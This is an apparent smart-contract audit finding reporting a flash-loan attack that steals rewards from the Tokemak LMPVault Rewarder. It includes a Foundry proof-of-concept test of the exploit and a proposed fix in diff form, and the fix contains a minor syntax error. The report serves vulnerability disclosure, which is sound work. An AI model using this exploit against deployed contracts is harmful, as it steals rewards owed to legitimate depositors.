Long Satin Sealion

high

# Flashloan attack against Rewarder - leads to the stealing of rewards.
## Summary
An attacker can launch a flash loan attack to deposit a huge amount of WETH to the LMPVault and immediately claim rewards from Rewarder and withdraw from the vault.

## Vulnerability Detail

The Synthetix-Rewarder model is broken because the checkpoints are not set correctly for the Rewarder when depositing to LMPVault. As this vulnerability occurs,  **the following attack scenario is possible.**

1. Bob and Alice deposited to LMP vault 1000 assets (2000 in total is at LMPvault)
2. Admin adds 1000 Tokes to Rewarder. 
3. Time passes (10000 blocks), and rewards are ready for claim. (In this situation, Bob and Alice should get 500 Tokes each)
4. The attacker sees that Bob wants to claim rewards; at this moment the attacker front-runs him with a flash loan attack.
5. In one transaction, the attacker deposits a huge amount of assets and withdraws immediately, which also allows him to claim rewards. 
6. The attacker gets a huge amount of rewards while Bob and Alice just get a very small slice.

I have devised a PoC from the previous scenario, which can be added to LMPVault-Withdraw.t.sol
### PoC
```Solidity
    function test_flash_loan_attack_for_rewards() external {
        //@audit-issue another problem with getRewards
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");
        address attacker = makeAddr("attacker");
        _asset.mint(attacker, 100 ether);
        _asset.mint(bob, 1000);
        _asset.mint(alice, 1000);

        vm.startPrank(bob);
        _asset.approve(address(_lmpVault), 1000);
        _lmpVault.deposit(1000, bob);
        vm.stopPrank();

        vm.startPrank(alice);
        _asset.approve(address(_lmpVault), 1000);
        _lmpVault.deposit(1000, alice);
        vm.stopPrank();

        _accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
        _lmpVault.rewarder().addToWhitelist(address(this));
        _lmpVault.rewarder().setTokeLockDuration(0); // TO prevent staking, It is in contract but not in interface so I added it there to IBaseRewarder.sol
        _toke.mint(address(this), 1000e18);
        _toke.approve(address(_lmpVault.rewarder()), 1000e18);
        _lmpVault.rewarder().queueNewRewards(1000e18);

        assert(_lmpVault.totalSupply() == 2000);

        vm.roll(block.number + 10_000);

        // Bob wanted to claim rewards so he should get 500 Tokes and also Alice but the attacker executed a frontrun attack with flashloan.

        vm.startPrank(attacker);
        _asset.approve(address(_lmpVault), 100 ether);
        _lmpVault.deposit(100 ether, attacker);
        _lmpVault.withdraw(100 ether, attacker, attacker);
        vm.stopPrank();
        assert(_toke.balanceOf(attacker) > 0);
        vm.startPrank(alice);
        _lmpVault.withdraw(1000, alice, alice);
        vm.stopPrank();
        vm.startPrank(bob);
        _lmpVault.withdraw(1000, bob, bob);
        vm.stopPrank();
    }
```

This should not be possible since the user should have deposited assets for almost the **whole duration of rewards** in the rewarder based on the **Synthetix model**. In this case, an attacker can deposit **whenever he wants and still have a claim for a portion of rewards based just on the number of his shares**. But he does not provide any liquidity for LMPVault. **He is simply stealing rewards.**

It is important to highlight that the flash loan is a consequential vector but not the main issue here. The main problem is that the user can claim rewards immediately when he deposits into the vault.

## Impact
The Synthetix rewarder model is broken allowing the attacker to steal rewards from users who should have the right to claim rewards based on the liquidity they provide for the whole reward period.

## Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L854-L864 - updateRewards function which is in (rewarder.Stake()) is called after the user has proper balance.

## Tool used

Manual Review

## Recommendation
The issue lies in the updateReward function for rewarder that is called after the user obtains shares in LMPVault. In the original Synthetix rewarder, the updateReward method is called before the deposit. 

The possible fix which can resolve the issue can be implemented in the _beforeTokenTransfer() function in LMPVault.sol.
```diff
	function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override whenNotPaused {
		// Nothing to do really do here
		if (from == to) {
			return;
		}
               
		// If this isn't a mint of new tokens, then they are being transferred
		// from someone who is "staked" in the rewarder. Make sure they stop earning
		// When they transfer those funds
		if (from != address(0)) {
			rewarder.withdraw(from, amount, true); 
		}
+               if (from == address(0){ // update the checkpoint before the minting
+	                 rewarder.withdraw(to, 0, false);
+                 }

	// Make sure the destination wallet total share balance doesn't go above the
		// current perWalletLimit
		if (balanceOf(to) + amount > perWalletLimit) {
			revert OverWalletLimit(to); //@audit-ok seems to be okay
		}
	}
```
